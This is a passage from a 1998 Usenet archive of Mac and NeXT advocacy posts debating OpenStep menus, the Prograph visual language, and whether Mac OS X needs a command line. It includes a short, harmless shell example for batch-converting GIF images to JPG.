vertically somewhat less tiring than moving horizontally.
My personal opinion is that the Openstep style vertical menus are far
superior to the Mac menus in every regard. Many of the same people who
created the Mac menu system went on to build the vertical menus. Maybe they
had a reason.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSX
Date: 8 Sep 1998 21:58:28 GMT
Organization: University of California at San Diego
Message-ID: <slrn6vba44.krv.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net> <tapella-0709981610060001@22w2-1.dyn.pasteur.fr> <macghod-0709981320520001@sdn-ar-002casbarp124.dialsprint.net> <tapella-0809981842340001@22w2-1.dyn.pasteur.fr> <6t3q0p$13a61@odie.mcleod.net>
On Tue, 8 Sep 1998 12:35:29 -0500, Michelle L. Buck wrote:
: <horizontal vs vertical menus>
:
:My personal opinion is that the Openstep style vertical menus are far
:superior to the Mac menus in every regard. Many of the same people who
:created the Mac menu system went on to build the vertical menus. Maybe they
:had a reason.
I like OpenStep menus too, but some of the reasons the NeXT was
different was that Apple viewed NeXT as traitorous enemies and would
have sued the bejeezus out of them if they used various characteristic
elements of the Mac interface. I had once heard that they considered
the classic pop-down menus with mouse dragging an Apple-proprietary
technique.
Naturally this just showed how dumb Apple was--instead NeXT should have
been viewed as their real "advanced technology research division" and
reabsorbed some time later. Because they were afraid of Jobs, they didn't.
Out! Out, Demons of Stupidity!.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD
*
* "To chill, or to pop a cap in my dome, whoomp! there it is."
* Hamlet, Fresh Prince of Denmark.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 8 Sep 1998 17:44:58 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t3qeq$1nr$1@nnrp02.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
<6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com>
John Jensen <jjens@primenet.com> wrote:
: John Heaney <heaney@SolidObject.com> wrote:
: : I think this can be applied to programming languages as well. I write
: : applications using a language called Prograph (www.pictorious.com). It is
: : an iconic, dataflow language. A method is comprised of icons, which
: : [...]
: What percentage of your commercial work do you do in Prograph?
I can provide one answer my question. I did a deja-news search in the
*.jobs.* catagory, for the period from Jan 1, 1998 through Aug 31, 1998
for the word "Prograph". I came up with a single hit for Prograph, and
that was in someone's resume. For an arbitrary written language, Fortran,
deja-news found "about 36000" matches.
John
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
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Content-Transfer-Encoding: 7bit
Cc: heaney@SolidObject.com
Organization: none
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134>
<6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137>
<6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
<6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137>
<6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com>
<heaney-0809981619320001@24.0.246.137>
Mime-Version: 1.0
Date: Tue, 8 Sep 1998 21:59:29 GMT
In <heaney-0809981619320001@24.0.246.137> John Heaney wrote:
> I don't know how a deja-news search in the *.jobs.* catagory can tell you
> what percentage of my commercial work is done in Prograph. It seems you
> are more interested in dismissing the validity of my assertions about
> programming languages by comparing its marketability with that of legacy
> text based languages. Why? Are you not interested in the ideas themselves?
> There are good reasons why Prograph is not a mainstream programming
> language. None of them have much to do with what I said.
Well as one that tried to use ProGraph,, I'll share my views.
Basically I found the system to be helpful for problems I didn't have, and
non-helpful for problems I did have. I have problems writing applications,
mostly because the object layers provided tend to stink. ProGraph's wasn't
any better than anyone else's. So instead of writting lots of lines of code,
I was connecting lots of boxes. This doesn't really help the situation.
At the same time I found particular parts of the system to be more
frustrating than the text based systems. Most notably the if/then
structures. These should have been amazing, because this is something a flow
can show better, but intead the one logic path per page system made it
frustrating to no end.
There was also no documentation in the libs, and the example code was
completely undocumented (and in many cases too complex to be useful).
So in the end I found that after a week (off of work on holidays, so
several hours a day) of working on it I had only a basic idea of how to use
the system and was still not ready to use it to write code, let alone
applications. Contrast this with OpenStep, where I picked up both the
language and the enviornment in five days and then moved onto the production
code.
There was definite promise there, but I just found it unhelpful.
Maury
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
From: da728@torfree.net (Karl Knechtel)
Subject: Re: What we need from Mac OSuX
Message-ID: <Eyz6IK.7zG.0.queen@torfree.net>
Followup-To: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Organization: Toronto Free-Net
References: <macghod-0609981221240001@sdn-ar-001casbarp298.dialsprint.net> <B2187B86-2132B9@153.36.240.74> <joe.ragosta-0609982205020001@elk66.dol.net> <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net> <tapella-0709981610060001@22w2-1.dyn.pasteur.fr>
Date: Tue, 8 Sep 1998 17:13:31 GMT
Tapella (tapella@pasteur.frANCE) wrote:
: In article <macghod-0609982151450001@sdn-ar-001casbarp166.dialsprint.net>,
: macghod@concentric.net (Steve Sullivan) wrote:
: > In article <joe.ragosta-0609982205020001@elk66.dol.net>,
: > joe.ragosta@dol.net (Joe Ragosta) wrote:
: >
: > > You can change _ANYTHING_ about Mac OS. Get yourself ResEdit and there's
: > > not a piece of the OS you can't change.
: >
: > Sure, but it doesnt mean it will work. If I dont like the menubar, I can
: > delete it. The os wont work tho. Next people might tell you a menu at
: > the top wastes screen space. Can you remove the menubar from the top of
: > the screen?
: >
: What would you do with a Mac with no menus? Would you want to remove the
: menu bars from each Windows window for example? Would you want to remove
: the ability to get popup menus in OPENSTEP? It doesn't make sense.
: As to the person who wanted a keystroke to "hide application" I've never
: done it before but you can use ResEdit to add/remove command-key combos
: to applications, so I don't see any reason why you couldn't do that to
: the Finder. I like adding "show images" and "reload" to Navigator since
: those keystrokes were taken out for some reason. [Note I personally just
: option-click the app I'm moving to, which changes to that app and hides
: the other one, although it's kind of a "hidden" function.]
: Rob.
BTW While using Hypercard you can hide the menubar with Command-space.
Karl Knechtel {:-#>
da728 at torfree dot net
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Quark==Adobe buyout - opinion
Date: Tue, 08 Sep 1998 10:48:11 -0700
Organization: UC Irvine
Message-ID: <rmcassid-0809981048120001@hephaestus.eng.uci.edu>
References: <6stfdn$ejl$1@fir.prod.itd.earthlink.net> <WNJI1.4169$MS.10218506@news.rdc1.sdca.home.com> <6t004d$nsn$1@oak.prod.itd.earthlink.net> <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>
In article <6x1J1.4288$MS.10758780@news.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex Riley) wrote:
>In <6t004d$nsn$1@oak.prod.itd.earthlink.net> "Ziya Oz" wrote:
>> rr6013@yahoo.com wrote:
>> >Foundation#3: Buy/license PSION's Epoc OS
>>
>> Will never happen.
>Well it's O-O, it has an entrenched market presence and a huge scalability
>factor downward. I've been pounding the table for Psion over a two years
>now, against all odds. I see a lot of flexibility with Apple's "NeXT" and
>Psion's "Epoc" cross-pollinated.
Apple's current mode is 'reduce, recycle, reuse'. If there is any way in
hell they can cram Mac OS or Mac OS X into a PDA, then that's what they
are shooting for. No new code bases. Given Apple's patience these days,
they might be waiting for technology to catch up with them.
Maybe that's Steve's new lesson - what he learned at NeXT and Pixar: Build
what will be selling in 10 years, but be patient enough with it that it
sells when the market is ready, and not before. Both the Mac and the NeXT
jumped the gun too much - the market didn't know what to make of this
stuff. They didn't really *get* it, except in isolated groups. iMac looks
technically boring to me, but clearly the timing is right for the market.
>All odds are against a NIH purchase & acquiring a market which they
>retrenched.
Agreed. Apple will return to the market, but only when they are sure they
can make money in it. Either that will be when they can just roll the
MacOS and PPC into the handheld market (low buy-in approach) or when they
get the right combination of things that they are sure the product will be
revolutionary and well received. I think the former is more likely.
-Bob Cassidy
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Adobe K2: Where's the Yellow Box?
Date: 8 Sep 1998 20:04:53 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6t42l5$93s@shelob.afs.com>
References: <6t3vo5$6ts$1@nnrp1.dejanews.com>
spagiola@my-dejanews.com writes
> What they [previous posters] seemed to me to be attacking, and with
> considerable justification, is Adobe's obtuseness in using Carbon to
> develop such a new app as K2 rather than taking advantage of all the
> advantages yellow-box offers.
K2 has been rattling around inside Adobe for quite some time, best as I
can tell. Certainly prior to the NeXT acquisition. Converting to YB in
the middle of the project would not make much sense, especially since
Adobe already has home grown cross-platform development resources.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Tue, 08 Sep 1998 20:09:05 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6t42t0$bvn$1@nnrp1.dejanews.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137>
In article <heaney-0809981243030001@24.0.246.137>,
heaney@SolidObject.com (John Heaney) wrote:
> This is just my opinion, but, as a developer (and a user), I don't like
> the design philosophy that adds features or maintains features simply
> because no one can say no. I don't think there are more than the tiniest
> percentage of people that would use a CLI if it were available in the
> MacOS. I don't think it is worth the effort to maintain such a mechanism.
> I would rather see the energy directed elsewhere.
First of all, the CLI will have to be maintained for Mac OS Server so the
energy must be expended even if the CLI doesn't show up in OS X. Second, Mac
OS developers will want a CLI and Apple could save some money by replacing
MPW with a more traditional shell. Third, the shell and standard utilities
are very useful for software developers. You can leverage them to add
functionality to your applications. For example, say you wanted to add a
check box in your save dialog which, when checked, would automatically zip
the file for the user. With a shell and standard utilities you could do this
in a few lines of code.
> BTW, I do think that the useful parts of a CLI are available on the Mac in
> the form of macro facilities and scripting languages.
You can't do remote administration or run APACHE with macros and AS.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0809981619320001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com>
Organization: Solid Object Software
Date: Tue, 08 Sep 1998 20:10:43 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 13:10:43 PDT
In article <6t3qeq$1nr$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> John Jensen <jjens@primenet.com> wrote:
> : John Heaney <heaney@SolidObject.com> wrote:
> : : I think this can be applied to programming languages as well. I write
> : : applications using a language called Prograph (www.pictorious.com). It is
> : : an iconic, dataflow language. A method is comprised of icons, which
> : : [...]
>
> : What percentage of your commercial work do you do in Prograph?
>
> I can provide one answer my question. I did a deja-news search in the
> *.jobs.* catagory, for the period from Jan 1, 1998 through Aug 31, 1998
> for the word "Prograph". I came up with a single hit for Prograph, and
> that was in someone's resume. For an arbitrary written language, Fortran,
> deja-news found "about 36000" matches.
I don't know how a deja-news search in the *.jobs.* catagory can tell you
what percentage of my commercial work is done in Prograph. It seems you
are more interested in dismissing the validity of my assertions about
programming languages by comparing its marketability with that of legacy
text based languages. Why? Are you not interested in the ideas themselves?
There are good reasons why Prograph is not a mainstream programming
language. None of them have much to do with what I said.
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: How mindshare works
Date: 7 Sep 1998 15:46:01 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6t0v3p$3dk@newsb.netnews.att.com>
Originator: gupta@tlctest
An example of how mindshare works, against all technical odds.
Taken from comp.arch.embedded
:Subject:: Re:: Embedded RTOS Question...
Bill Pringlemeir <bpringle@my-dejanews.com> wrote::
:>>>>> "Warren" == Warren Postma <embed@geocities.com> writes::
:[snipped]
:
: Warren> We plan to migrate to Windows CE Embedded Toolkit (ETK)
: Warren> within about a year of our first solution. We believe it
: Warren> will be a selling point for our systems that they run on
: Warren> CE. Many large companies (Including GE) have written
: Warren> internal reports that show they are moving their embedded
: Warren> systems development towards Windows CE. It's gathering
: Warren> steam quickly.
:
:Ha! That is pure dogma! Take a look at the Psion site.
:"http:://www.psion.com/" The cell phone makers have rejected CE.
:CE is a very poor fit for a PDA device. It is even worse for
:smaller screen applications. The Windows GUI was designed for
:a full screen application. It is poorly suited for a small screen.
:Windowing is the only thing that CE buys you (and at some
:price $$) Many of the RTOS vendors give a far better
:development system, with good debugging support, and a more
:dependable API. Microsoft is use to distributing one image for
:the 80x86. There is no where near the applications for Alpha
:NT as there are for 80x86 NT. I don't see the distribution
:system developing for multiple processor flavors that CE will
:have. Java eloquently addresses this, but so does python, perl,
:forth, etc.
:
:I will feel _so_ confident when I see a 'start button' on a heart
:monitor in a hospital. MicroSoft doesn't understand the embedded
:market. There best move so far was partnering with MicroTek.
:
:As a matter of fact, most of the major companies that made
:announcements about CE did so to 'cover all the bases'. I don't
:think that you will see CE products besides PDAs. Perhaps they
:will displace the PalmPilot in this market.
:
:CE is dog slow compared to Epoch and PalmOS. To win, CE needs
:a better processor with less energy/mip. However, the ARM is
:currently the best thing out there and Epoch runs on that.
:
:As for SBC x86, I have seen many problems with CE on the AMD
:SC400. VxWorks is definitely an easier OS to get running, and
:keep running. I think that CE's actual market is very small.
:Windows doesn't add much to black boxes like routers, ABS control,
:freezer regulation, etc.
:
:Bill
:Ya, it is a rant, but what they heck.
:
:
:--
:Danger - End of world ahead.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Tue, 08 Sep 1998 15:45:52 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F59780.F2B41779@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
<6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com>
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John Jensen wrote:
[cut]
> Step 2, edit foo to invoke the Image Magick "convert" for each file
>
> $ vi foo
>
> For the curious, I did two substitutions:
>
> 1,$s/.*/convert & &z/
> 1,$s/gifz/jpg/
It's a bit faster just to do something like this (this is /bin/tcsh):
$ foreach file (*.gif)
$ foreach? convert $file `echo $file | sed 's/\.gif/\.jpg/g'`
$ foreach? end
This way you work totally in the shell and avoid the use of intermediary
files or vi. It sort of wraps all the steps up, too.
MJP
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 8 Sep 1998 20:51:10 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t45bu$529$1@nnrp02.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
<6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137>
John Heaney <heaney@SolidObject.com> wrote:
: I don't know how a deja-news search in the *.jobs.* catagory can tell you
: what percentage of my commercial work is done in Prograph. It seems you
: are more interested in dismissing the validity of my assertions about
: programming languages by comparing its marketability with that of legacy
: text based languages. Why? Are you not interested in the ideas themselves?
: There are good reasons why Prograph is not a mainstream programming
: language. None of them have much to do with what I said.
I believe the opposition to the CLI in the Mac community has its roots in
a form of political correctness, rather than any rational cost/benefit
analysis.
If I am harsh, it is because I view the antipathy toward the CLI as an
irrational exclusion of "the ideas themselves".
John
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 8 Sep 1998 23:15:13 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6t4dq1$c1$3@news02.btx.dtag.de>
References: <B212F253-19875@206.165.43.49> <joe.ragosta-0209981709230001@wil78.dol.net> <B2132A13-45BC2@206.165.43.179> <EypqG4.4pI@T-FCN.Net> <6sn8a6$vae$1@nnrp1.snfc21.pbi.net> <6snl5a$pk85@odie.mcleod.net> <bsarpNOSPAM-0409980302490001@47.net10.nauticom.net> <6sp0b9$gvu1@odie.mcleod.net> <6sp3dj$8h2$1@nnrp02.primenet.com> <6srlni$crv$1@nnrp1.dejanews.com> <6ss1un$14c$1@nnrp03.primenet.com> <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com>
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John Jensen <jjens@primenet.com> wrote:
> I'd ask:
>
> Q1: Is "circling the right places" possible for more than the most common
> actions?
>
> Q2: Even if the help system could circle the right thing, wouldn't you
> like to know why?
Gee, why don't you try it yourself?
Lars T.
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: 8 Sep 1998 21:15:18 GMT
Organization: Primenet (602)416-7000
Message-ID: <6t46p6$r54$1@nnrp03.primenet.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
<6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <35F59780.F2B41779@ericsson.com>
Michael Peck <Michael.Peck@ericsson.com> wrote:
: $ foreach file (*.gif)
: $ foreach? convert $file `echo $file | sed 's/\.gif/\.jpg/g'`
: $ foreach? end
: This way you work totally in the shell and avoid the use of intermediary
: files or vi. It sort of wraps all the steps up, too.
I know. Personally I would rather drop into vi with a file list. I guess
my style is a little more brute-force, but I find it works quick enough.
More than one way to skin a cat, and all that.
John
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: 8 Sep 98 18:31:08 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B21B286F-12F60@206.165.43.24>
References: <Eyz26w.8Hp@T-FCN.Net>
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
Maury Markowitz <maury@remove_this.istar.ca> said:
>> Given the example of how useful GX is in pre-press
>
> Har. Not a single press I've seen uses GX. Funny defintion!
OK, "how useful GX 'would be'..."
Being able to manipulate shapes as shapes, rather than as text-strings in a
PS file is useful, no?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jesse@mira.net (Greg McPherson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 09 Sep 1998 11:53:56 +1000
Organization: Seismology Research Centre
Message-ID: <jesse-ya02408000R0909981153560001@news.latrobe.edu.au>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137>
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> Better to compare the best of each. Maybe you could give me an example of
> a CLI based application that is better than the equivalent GUI based
> application.
From a programmers point of view, a CGI for a Web page.
On UNIX you can write a simple C program that uses argv,argc
parameters to fill in the CGI's parameters.
On a Mac, you have to use AppleEvents, which are rather more complex.
From: jesse@mira.net (Greg McPherson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 09 Sep 1998 11:46:45 +1000
Organization: Seismology Research Centre
Message-ID: <jesse-ya02408000R0909981146450001@news.latrobe.edu.au>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com>
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NNTP-Posting-Date: 9 Sep 1998 01:46:57 GMT
In article <6t3qeq$1nr$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> John Jensen <jjens@primenet.com> wrote:
> : John Heaney <heaney@SolidObject.com> wrote:
> : : I think this can be applied to programming languages as well. I write
> : : applications using a language called Prograph (www.pictorious.com). It is
> : : an iconic, dataflow language. A method is comprised of icons, which
> : : [...]
>
> : What percentage of your commercial work do you do in Prograph?
>
> I can provide one answer my question. I did a deja-news search in the
> *.jobs.* catagory, for the period from Jan 1, 1998 through Aug 31, 1998
> for the word "Prograph". I came up with a single hit for Prograph, and
> that was in someone's resume. For an arbitrary written language, Fortran,
> deja-news found "about 36000" matches.
>
> John
I'm looking at a shelf full of Inside Macintosh Books.
Thousands of API calls, many quite complex to use.
It is much simpler to represent these calls in a textual format.
If someone could convert them all into some visual, iconic scheme it
would be great, but the work would be huge.
For the same reason, people write novels with text, rather than massive
picture books.
The most successful "RAD" languages, such as Visual Basic and Delphi are
a hybrid of text and visual elements. The coarse work done visually,
while the subtle parts are done with text.
All text programming can be a long error prone slog.
All visual programming implies you don't need speed/memory optimisation
or the ability to perform complex, or unusual procedures.
From: jesse@mira.net (Greg McPherson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Wed, 09 Sep 1998 11:59:42 +1000
Organization: Seismology Research Centre
Message-ID: <jesse-ya02408000R0909981159420001@news.latrobe.edu.au>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com>
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In article <6t45bu$529$1@nnrp02.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> I believe the opposition to the CLI in the Mac community has its roots in
> a form of political correctness, rather than any rational cost/benefit
> analysis.
> If I am harsh, it is because I view the antipathy toward the CLI as an
> irrational exclusion of "the ideas themselves".
Though as a programmer I'd like a CLI in MacOS X, I can see the logic of
hiding it away pretty deeply.
A CLI gives programmers an easy option. You don't have to construct a
nice user interface, you don't have to make the program user friendly.
By removing the CLI the Mac remains an extremely user friendly machine.
Programmers are forced to be nice to the users.
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-0809982244000001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com>
Organization: Solid Object Software
Date: Wed, 09 Sep 1998 02:35:11 GMT
NNTP-Posting-Date: Tue, 08 Sep 1998 19:35:11 PDT
In article <6t42o6$puq$1@nnrp03.primenet.com>, John Jensen
<jjens@primenet.com> wrote:
> John Heaney <heaney@SolidObject.com> wrote:
> : Maybe you could give me an example of a CLI based application that is
> : better than the equivalent GUI based application.
>
> The nicest thing about a CLI is the seamless transition to simple
> scripting. I needed to convert a bunch of gif's to jpg's this weekend:
>
> Step 1, get a list of the files:
>
> $ ls *.gif >foo
>
> Step 2, edit foo to invoke the Image Magick "convert" for each file
>
> $ vi foo
>
> For the curious, I did two substitutions:
>
> 1,$s/.*/convert & &z/
> 1,$s/gifz/jpg/
>
> Step 3, make foo a script
>
> $ chmod +x foo
>
> Step 4, run the script
>
> $ ./foo
>
> Total elapsed time 15 seconds.
I have to say that's mighty impressive. Truthfully, is this something
you've already done about a zillion times? For my own edification, I tried
just typing in the commands as you wrote them. It took me 38 seconds and I
made one typo. Of course, I was picking the commands out of the other text
and it's unusual text for me to type. So, I tried it again and got 32
seconds. I'm not the fastest typist in the world, but I am a touch typist.
You must really blaze on the keyboard. Are you so versed in vi that you
didn't even have to think about how to do those substitutions?
Anyway, I think this rather shows that programmers are the ones who want
(and need?) a CLI. I can't imagine and end user doing this sort of thing.
BTW, I had some jpegs sitting around so I used Debabelizer to batch
convert them into gifs. It took a couple of minutes. I thought that wasn't
bad considering I hadn't touched Debabelizer in a year or more. It also
interrupted me with a dialog that prompted me for a color palette and a
dithering option, since I had overlooked the fact that converting to gifs
would reduce the colors. I rather think this example shows the strengths
of both. Although, I did do the same task again, knowing what I was doing
this time, and it only took me 40 seconds. Oh well, I'm sure you don't
have to worry about losing your access to a CLI. However, as someone said,
it should be hidden from the typical user.
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Tue, 08 Sep 1998 16:27:18 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F5A136.C6EC3722@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137>
<6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3nal$124$2@nnrp02.primenet.com> <heaney-0809981533040001@24.0.246.137> <6t42o6$puq$1@nnrp03.primenet.com> <35F59780.F2B41779@ericsson.com> <6t46p6$r54$1@nnrp03.primenet.com>
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John Jensen wrote:
> : This way you work totally in the shell and avoid the use of intermediary
